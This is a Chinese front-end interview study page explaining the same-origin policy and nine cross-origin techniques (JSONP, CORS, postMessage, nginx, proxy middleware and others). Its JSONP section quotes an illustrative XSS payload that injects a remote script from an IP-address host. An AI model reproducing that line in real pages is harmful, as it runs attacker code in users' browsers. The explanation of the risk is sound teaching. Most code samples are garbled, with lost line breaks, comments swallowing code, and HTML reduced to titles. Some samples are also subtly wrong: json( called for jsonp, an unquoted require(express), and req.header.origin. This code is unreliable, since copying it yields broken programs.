> For the complete documentation index, see [llms.txt](https://yyaozhibo.gitbook.io/qian-duan-xue-xi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yyaozhibo.gitbook.io/qian-duan-xue-xi/interview/kua-yu.md). # 跨域 ## 同源策略 同源策略/SOP（Same origin policy）是一种约定，由 Netscape 公司 1995 年引入浏览器，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，浏览器很容易受到 XSS、CSRF 等攻击。所谓同源是指 "协议 + 域名 + 端口" 三者相同，即便两个不同的域名指向同一个 ip 地址，也非同源。 ## 什么是跨域？ 当协议、域名、端口号，有一个或多个不同时，有希望可以访问并获取数据的现象称为跨域访问，同源策略限制下 `cookie`、`localStorage`、`dom`、`ajax`、`IndexDB` 都是不支持跨域的。 假设 cookie 支持了跨域，http 协议无状态，当用户访问了一个银行网站登录后，银行网站的服务器给返回了一个 sessionId，当通过当前浏览器再访问一个恶意网站，如果 cookie 支持跨域，恶意网站将获取 sessionId 并访问银行网站，出现安全性问题；IndexDB、localStorage 等数据存储在不同域的页面切换时是获取不到的；假设 dom 元素可以跨域，在自己的页面写入一个 iframe 内部嵌入的地址是 [www.baidu.com](https://yyaozhibo.gitbook.io/qian-duan-xue-xi/interview/www.baidu.com)，当在百度页面登录账号密码时就可以在自己的页面获取百度的数据信息，这显然是不合理的。 这就是为什么 `cookie`、`localStorage`、`dom`、`ajax`、`IndexDB` 会受到同源策略会限制，下面还有一点对跨域理解的误区： 误区：同源策略限制下，访问不到后台服务器的数据，或访问到后台服务器的数据后没有返回； 正确：同源策略限制下，可以访问到后台服务器的数据，后台服务器会正常返回数据，而被浏览器给拦截了。 ## 实现跨域的方式 ### 一、使用 jsonp 跨域 使用场景：当自己的项目前端资源和后端部署在不同的服务器地址上，或者其他的公司需要访问自己对外公开的接口，需要实现跨域获取数据，如百度搜索。 ``` // 封装 jsonp 跨域请求的方法functionjsonp({ url, params, cb }) { returnnewPromise((resolve, reject) => { // 创建一个 script 标签帮助我们发送请求let script = document.createElement("script"); let arr = []; params = { ...params, cb }; // 循环构建键值对形式的参数for (let key in params) { arr.push(`${key}=${params[key]}`); } // 创建全局函数window[cb] = function(data) { resolve(data); // 在跨域拿到数据以后将 script 标签销毁document.body.removeChild(script); }; // 拼接发送请求的参数并赋值到 src 属性 script.src = `${url}?${arr.join("&")}`; document.body.appendChild(script); }); } // 调用方法跨域请求百度搜索的接口 json({ url: "https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su", params: { wd: "jsonp" }, cb: "show" }).then(data => { // 打印请求回的数据console.log(data); }); ``` 缺点： * 只能发送 get 请求 不支持 post、put、delete； * 不安全，容易引发 xss 攻击，别人在返回的结果中返回了下面代码。 `let script = document.createElement('script'); script.src = "http://192.168.0.57:8080/xss.js"; document.body.appendChild(script);` 会把别人的脚本引入到自己的页面中执行，如：弹窗、广告等，甚至更危险的脚本程序。 ### 二、使用 CORS 跨域 跨源资源共享/CORS（Cross-Origin Resource Sharing）是 W3C 的一个工作草案，定义了在必须访问跨源资源时，浏览器与服务器应该如何沟通。CORS 背后的基本思想，就是使用自定义的 HTTP 头部让浏览器与服务器进行沟通，从而决定请求或响应是应该成功，还是应该失败。 使用场景：多用于开发时，前端与后台在不同的 ip 地址下进行数据访问。 现在启动两个端口号不同的服务器，创建跨域条件，服务器（NodeJS）代码如下： ``` // 服务器1const express = require(express); let app = express(); app.use(express.static(__dirname)); app.listen(3000); // 服务器2const express = require("express"); let app = express(); app.get("/getDate", function(req, res) { res.end("I love you"); }); app.use(express.static(__dirname)); app.listen(4000); ``` 由于我们的 NodeJS 服务器使用 `express` 框架，在我们的项目根目录下的命令行中输入下面代码进行安装： > npm install express --save 通过访问 :3000/index.html 获取 `index.html` 文件并执行其中的 `Ajax` 请求 :4000/getDate 接口去获取数据，`index.html` 文件内容如下： ``` CORS 跨域 ``` 上面 `index.html` 代码中发送请求访问不在同源的服务器 `2`，此时会在控制台给出错误信息，告诉我们缺少了哪些响应头，我们对应报错信息去修改访问的服务器 `2` 的代码，添加对应的响应头，实现 CORS 跨域。 ``` // 服务器2const express = require("express"); let app = express(); // 允许访问域的白名单let whiteList = ["http://localhost:3000"]; app.use(function(req, res, next) { let origin = req.header.origin; if (whiteList.includes(origin)) { // 设置那个源可以访问我，参数为 * 时，允许任何人访问，但是不可以和 cookie 凭证的响应头共同使用 res.setHeader("Access-Control-Allow-Origin", origin); // 想要获取 ajax 的头信息，需设置响应头 res.setHeader("Access-Control-Allow-Headers", "name"); // 处理复杂请求的头 res.setHeader("Access-Control-Allow-Methods", "PUT"); // 允许发送 cookie 凭证的响应头 res.setHeader("Access-Control-Allow-Credentials", true); // 允许前端获取哪个头信息 res.setHeader("Access-Control-Expose-Headers", "name"); // 处理 OPTIONS 预检的存活时间，单位 s res.setHeader("Access-Control-Max-Age", 5); // 发送 PUT 请求会做一个试探性的请求 OPTIONS，其实是请求了两次，当接收的请求为 OPTIONS 时不做任何处理if (req.method === "OPTIONS") { res.end(); } } next(); }); app.put("/getDate", function(req, res) { // res.setHeader('name', 'nihao'); // 设置自定义响应头信息 res.end("I love you"); }); app.get("/getDate", function(req, res) { res.end("I love you"); }); app.use(express.static(__dirname)); app.listen(4000); ``` ### 三、使用 postMessage 实现跨域 postMessage 是 H5 的新 API，跨文档消息传送（cross-document messaging），有时候简称为 XMD，指的是在来自不同域的页面间传递消息。 调用方式：**window\.postMessage(message, targetOrigin)** * message：发送的数据 * targetOrigin：发送的窗口的域 在对应的页面中用 message 事件接收，事件对象中有 `data`、`origin`、`source` 三个重要信息 * data：接收到的数据 * origin：接收到数据源的域（数据来自哪个域） * source：接收到数据源的窗口对象（数据来自哪个窗口对象） 使用场景：不是使用 `Ajax` 的数据通信，更多是在两个页面之间的通信，在 `A` 页面中引入 `B` 页面，在 `A`、`B` 两个页面之间通信。 与上面 CORS 类似，我们要创建跨域场景，搭建两个端口号不同的 Nodejs 服务器，后面相同方式就不多赘述了。 ``` // 服务器1const express = require(express); let app = express(); app.use(express.static(__dirname)); app.listen(3000); // 服务器2const express = require(express); let app = express(); app.use(express.static(__dirname)); app.listen(4000); ``` 通过访问 :3000/a.html，在 `a.html` 中使用 `iframe` 标签引入 :4000/b.html，在两个窗口间传递数据。 ``` 页面 A 页面 B ``` ### 四、使用 [window.name](http://window.name) 实现跨域 同样是页面之间的通信，需要借助 `iframe` 标签，`A` 页面和 `B` 页面是同域的 :3000，`C` 页面在独立的域 :4000。 ``` // 服务器1const express = require(express); let app = express(); app.use(express.static(__dirname)); app.listen(3000); // 服务器2const express = require(express); let app = express(); app.use(express.static(__dirname)); app.listen(4000); ``` 实现思路：在 `A` 页面中将 `iframe` 的 `src` 指向 `C` 页面，在 `C` 页面中将属性值存入 `window.name` 中，再把 `iframe` 的 `src` 换成同域的 `B` 页面，在当前的 `iframe` 的 `window` 对象中取出 `name` 的值，访问 :3000/a.html。 ``` 页面 A 页面 C ``` ### 五、使用 location.hash 实现跨域 与 `window.name` 跨域的情况相同，是不同域的页面间的参数传递，需要借助 `iframe` 标签，`A` 页面和 `B` 页面是同域的 :3000，`C` 页面是独立的域 :4000。 ``` // 服务器1const express = require(express); let app = express(); app.use(express.static(__dirname)); app.listen(3000); // 服务器2const express = require(express); let app = express(); app.use(express.static(__dirname)); app.listen(4000); ``` 实现思路：`A` 页面通过 `iframe` 引入 `C` 页面，并给 `C` 页面传一个 `hash` 值，`C` 页面收到 `hash` 值后创建 `iframe` 引入 `B` 页面，把 `hash` 值传给 `B` 页面，`B` 页面将自己的 `hash` 值放在 `A` 页面的 `hash` 值中，访问 :3000/a.html。 ``` 页面 A 页面 C 页面 B ``` ### 六、使用 document.domain 实现跨域 使用场景：不是万能的跨域方式，大多使用于同一公司不同产品间获取数据，必须是一级域名和二级域名的关系，如 [www.baidu.com](https://yyaozhibo.gitbook.io/qian-duan-xue-xi/interview/www.baidu.com) 与 [video.baidu.com](https://app.gitbook.com/s/-Lq-o8jVyndwUNS72Sn3/interview/video.baidu.com) 之间。 ``` const express = require("express"); let app = express(); app.use(express.static(__dirname)); app.listen(3000); ``` 想要模拟使用 `document.domain` 跨域的场景需要做些小小的准备，到 C:WindowsSystem32driversetc 该路径下找到 `hosts` 文件，在最下面创建一个一级域名和一个二级域名。 > 127.0.0.1          [www.domainacross.com](https://yyaozhibo.gitbook.io/qian-duan-xue-xi/interview/www.domainacross.com) 127.0.0.1          [sub.domainacross.com](https://app.gitbook.com/s/-Lq-o8jVyndwUNS72Sn3/interview/sub.domainacross.com) 命名是随意的，只要是符合一级域名与 二级域名的关系即可，然后访问 [www.domainacross.com](http://www.domainacross.com):3000/a.html。 ``` 页面 A

我是页面 A 的内容

页面 B

我是 B 页面的内容

``` ### 七、使用 WebSocket 实现跨域 WebSocket 没有跨域限制，高级 API（不兼容），想要兼容低版本浏览器，可以使用 `socket.io` 的库，WebSocket 与 HTTP 内部都是基于 TCP 协议，区别在于 HTTP 是单向的（单双工），WebSocket 是双向的（全双工），协议是 `ws://` 和 `wss://` 对应 `http://` 和 `https://`，因为没有跨域限制，所以使用 `file://` 协议也可以进行通信。 由于我们在 NodeJS 服务中使用了 WebSocket，所以需要安装对应的依赖： > npm install ws --save ``` 页面 const express = require("express"); let app = express(); // 引入 webSocketconst WebSocket = require("ws"); // 创建连接，端口号与前端相对应let wss = new WebSocket.Server({ port: 3000 }); // 监听连接 wss.on("connection", function(ws) { // 监听消息 ws.on("message", function(data) { // 打印消息console.log(data); // I love you// 发送消息 ws.send("I love you, too"); }); }); ``` ### 八、使用 nginx 实现跨域 `nginx` 本身就是一个服务器，因此我们需要去 `nginx` 官网下载服务环境 [nginx.org/en/download…](http://nginx.org/en/download.html)。 * 下载后解压到一个文件夹中 * 双击 `nginx.exe` 启动（此时可以通过 访问 `nginx` 服务） * 在目录新建 `json` 文件夹 * 进入 `json` 文件夹新建 `data.json` 文件并写入内容 * 回到 `nginx` 根目录进入 `conf` 文件夹 * 使用编辑器打开 `nginx.conf` 进行配置 **data.json 文件：** ``` { "name": "nginx" } ``` **nginx.conf 文件：** ``` server { . . . location ~.*\.json { root json; add_header"Access-Control-Allow-Origin""*"; } . . . } ``` **含义：** * \~.\*.json：代表忽略大小写，后缀名为 json 的文件； * root json：代表 `json` 文件夹； * add\_header：代表加入跨域的响应头及允许访问的域，`*` 为允许任何访问。 在 `nginx` 根目录启动 `cmd` 命令行（windows 系统必须使用 `cmd` 命令行）执行下面代码重启 `nginx`。 > nginx -s reload 不跨域访问： 跨域访问时需要创建跨域条件代码如下： ``` // 服务器const express = require("express"); let app = express(); app.use(express.static(__dirname)); app.listen(3000); ``` 跨域访问：:3000/index.html ``` nginx跨域 ``` ### 九、使用 http-proxy-middleware 实现跨域 NodeJS 中间件 `http-proxy-middleware` 实现跨域代理，原理大致与 `nginx` 相同，都是通过启一个代理服务器，实现数据的转发，也可以通过设置 `cookieDomainRewrite` 参数修改响应头中 `cookie` 中的域名，实现当前域的 `cookie` 写入，方便接口登录认证。 **1、非 vue 框架的跨域（2 次跨域）** ``` proxy 跨域 ``` 中间代理服务中使用了 `http-proxy-middleware` 中间件，因此需要提前下载： > npm install http-proxy-middleware --save-dev ``` // 中间代理服务器const express = require("express"); let proxy = require("http-proxy-middleware"); let app = express(); app.use( "/", proxy({ // 代理跨域目标接口 target: "http://www.proxy2.com:8080", changeOrigin: true, // 修改响应头信息，实现跨域并允许带 cookie onProxyRes: function(proxyRes, req, res) { res.header("Access-Control-Allow-Origin", "http://www.proxy1.com"); res.header("Access-Control-Allow-Credentials", "true"); }, // 修改响应信息中的 cookie 域名 cookieDomainRewrite: "www.proxy1.com"// 可以为 false，表示不修改 }) ); app.listen(3000); // 服务器const http = require("http"); const qs = require("querystring"); const server = http.createServer(); server.on("request", function(req, res) { let params = qs.parse(req.url.substring(2)); // 向前台写 cookie res.writeHead(200, { "Set-Cookie": "l=a123456;Path=/;Domain=www.proxy2.com;HttpOnly"// HttpOnly：脚本无法读取 }); res.write(JSON.stringify(params)); res.end(); }); server.listen("8080"); ``` **2、vue 框架的跨域（1 次跨域）** 利用 **node + webpack + webpack-dev-server** 代理接口跨域。在开发环境下，由于 `Vue` 渲染服务和接口代理服务都是 `webpack-dev-server`，所以页面与代理接口之间不再跨域，无须设置 `Headers` 跨域信息了。 ``` // 导出服务器配置module.exports = { entry: {}, module: {}, ... devServer: { historyApiFallback: true, proxy: [{ context: '/login', target: 'http://www.proxy2.com:8080', // 代理跨域目标接口 changeOrigin: true, secure: false, // 当代理某些 https 服务报错时用 cookieDomainRewrite: 'www.domain1.com'// 可以为 false，表示不修改 }], noInfo: true } } ``` 本篇文章在于帮助我们理解跨域，以及不同跨域方式的基本原理，在公司的项目比较多，多个域使用同一个服务器或者数据，以及在开发环境时，跨域的情况基本无法避免，一般会有各种各样形式的跨域解决方案，但其根本原理基本都在上面的跨域方式当中方式，我们可以根据开发场景不同，选择最合适的跨域解决方案。